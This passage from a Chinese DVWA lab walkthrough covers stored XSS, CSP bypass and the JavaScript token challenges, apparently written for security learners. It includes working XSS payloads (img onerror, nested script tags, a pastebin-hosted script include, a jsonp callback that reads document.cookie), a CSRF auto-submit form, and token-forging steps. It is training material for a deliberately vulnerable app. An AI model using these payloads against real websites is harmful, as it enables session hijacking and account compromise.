正则过滤表更加完善,不区大小写,并通过通配符匹配,使嵌套构造当方式也不能成功,但还有其他很多标签可达到弹框效果。
漏洞利用
1 | <img src=x onerror=alert('XSS')> |
Impossible
源码
1 |
|
XSS (Stored) (Stored Cross Site Scripting,存储型 XSS)
Low
源码
1 |
|
trim(string,charlist)
移除字符串两侧的指定字符。string
必需,指定要检查的字符串;charlist
可选,指定从字符串中删除的字符,若干未指定,则移除\0(null) , \t(制表符) , \n(换行) , \x0B(垂直制表符) , \r(回车) , 空格
stripslashes(string)
去除字符串的反斜杠,可用于清理从数据库中或从 HTML 表单中取回的数据。mysqli_real_escape_string(string,connection)
转义 SQL 语句中使用的字符串中的特殊字符。string
必需,指定要转义的字符串;connection
可选,指定 MySQL 连接,若未指定,则使用上一个连接;将会转义的字符\x00 , \n , \r , \ , ' , " , \xla
这些函数都只对数据库进行了防护,却没有考虑到对 XSS 进行过滤
漏洞利用
1 | Name: xsstest |
到数据库中查询 select * from guestook;
提交的结果被插入到了数据库中
测试完成后为了不影响下面的测试,检验手动删除数据库中的记录。
Medium
源码
1 |
|
addslashes(string)
返回在预定字符之前添加反斜杠的字符串。预定字符:' , " , \ , null
strip_tags(string,allow)
剔去字符串中 HTML 、 XML 以及 PHP 的标签。string
必需,指定检查的字符串;allow
可选,规定不被删除的标签。htmlspecialchars(string,flags,character-det,double_encode)
包预定字符转换为 HTML 实体,预定字符:& , ' , " , < , >
message
变量几乎把所有的 XSS 都过滤了,但 name 只过滤了 <script>
标签而已,我们依然可在 name
参数尝试使用其他标签来触发弹框。
漏洞利用
name
的 input 输入文本框限制了长度,可通过审查元素手动将 maxlength
的值调大。
1 | <input name="txtName" type="text" size="30" maxlength="50" type="text"> |
使用嵌套或大小写变化绕过
1 | Name: <scr<script>ipt>alert('XSS')</script> |
使用其他标签弹框
1 | Name: <img src=x onerror=alert('XSS')> |
High
源码
1 |
|
message
变量依然没有希望,name
变量只加强过滤 script
标签,依然可使用其他标签绕过
漏洞利用
1 | Name: <img src=a onerror=alert('XSS')> |
Impossible
源码
1 |
|
message
和 name
变量都进行了严格的过滤,且还检测了用户的 token,有效的防止了 CSRF 的攻击。
CSP Bypass (Content Security Policy Bypass,内容安全策略绕过)
CSP 是一种白名单制度,实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性,攻击者发现漏洞,也没法注入脚本,除非控制了一台例如了白名单的可信主机。
Low
源码
1 |
|
白名单:
1 | self |
pastebin.com
是一个快速分享文本内容的网站,内容可控,可以在里面插入 XSS 攻击语句 alert(document.cookie)
。
漏洞利用
在 http://pastebin.com'
中创建内容为 alert('XSS');
的分享,生成 https://pastebin.com/FY6tnzuS
,通过 https://pastebin.com/raw/FY6tnzuS
可访问内容。
在文本框中输入 https://pastebin.com/raw/FY6tnzuS
点击 include
即可将文件包含进去,从而触发 XSS。通过查看浏览器源代码可发现被嵌入了 XSS : <script src='https://pastebin.com/raw/FY6tnzuS'></script>
可配合 CSRF 使攻击自动化,创建 csrf.html
放到网站服务器上,设法让受害者访问就会触发。
1 | <form method="POST" action="http://dvwa.local/vulnerabilities/csp/" id="csp"> |
Medium
源码
1 |
|
script-src
的合法来源发生了变化:
unsafe-inline
: 允许执行页面内嵌的<script>
标签和事件监听函数unsafe-eval
: 允许将字符串当作代码执行,如eval
、setTimeout
、setInterval
和Function
等函数nonce
: 每次 HTTP 回应给出一个授权token
,页面内嵌脚本必须有这个token
,才会执行hash
: 列出允许执行的脚本代码的 Hash 值,页面内嵌脚本的哈希值只有吻合才执行。
使用了 unsafe-inline
和 nonce
所以页面内嵌脚本必须要有 token
才能被执行
漏洞利用
直接输入:
1 | <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> |
High
源码
1 |
|
1 | function clickButton() { |
CSP 规则十分苛刻,只能引用允许
self
的脚本执行,self
是指本页面加载的脚本,也就是source/high.js
这个脚本。页面提示调用
../. // vulnerability /csp/source/jsonp.php
来加载一些代码。
审查元素关键代码在<input type="button" id="solve" value="Solve the sum" />
>>id="solve"
对应的代码在 JS 中 >> 触发 JS 中的clickButton
函数,该函数会创建一个script
标签<script src="http://dvwa.local/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>
>> 访问http://dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum
得到solveSum({"answer":"15"})
>> 最后会调用 JS 的solveSum
函数将结果输出到网页中。 >> 暴露的callback
参数未做过滤,完全可做操作,可直接构造jsonp.php?callback=alert(document.cookie)
若此构造被执行就能触发弹框。
漏洞利用
由于 POST 提交的 include
参数直接放到了 body 源码中,可直接改 indlude
进行弹框,使用 hackbar 修改 Post data 即可弹出。
1 | include=<script src=source/jsonp.php?callback=alert(document.cookie)></script> |
Impossible
源码
1 |
|
1 | function clickButton() { |
指定只能输出 solveSum
意味着只能回调 JS 里的 solveSum
函数
JavaScript (JavaScript Attacks,JS 攻击)
Low
源码
1 |
|
主要生成了一个 token
通过 JS 在浏览器端生成, 由 md5(rot13(phrase))
漏洞利用
直接在浏览器控制台(Console) 调用函数计算出 token
值, md5(rot13(success));
>> 38581812b435834ebf84ebcc2c6424d6
>> 使用 Hackbar 修改 Post data :token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit
>> Well done!
Medium
源码
1 |
|
1 | function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")} |
通过源码可知 phrase
逆序输出,然后在前后分别添加 XX
作为规律 >> 默认的 ChangeMe
的 token : <input type="hidden" name="token" value="XXeMegnahCXX" id="token">
>> success
的 token 应该是 XXsseccusXX
漏洞利用
利用 hackbar 修改 Post data: token=XXsseccusXX&phrase=success&send=Submit
High
源码
1 |
|
1 | var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{})); |
high.js
代码明显被混淆了,使用工具解码 得到有用代码:
1 | function do_something(e) { |
生成 token
的步骤是: token_part_1("ABCD",44)
>> token_part_2("XX")
>> token_part_3
漏洞利用
在输入框输入 success
后到控制台输入 token_part_1("ABCD",44)
和 token_part_2("XX")
两个函数即可。
Impossible
永远不要相信用户提交的信息,所以没有不可能级别。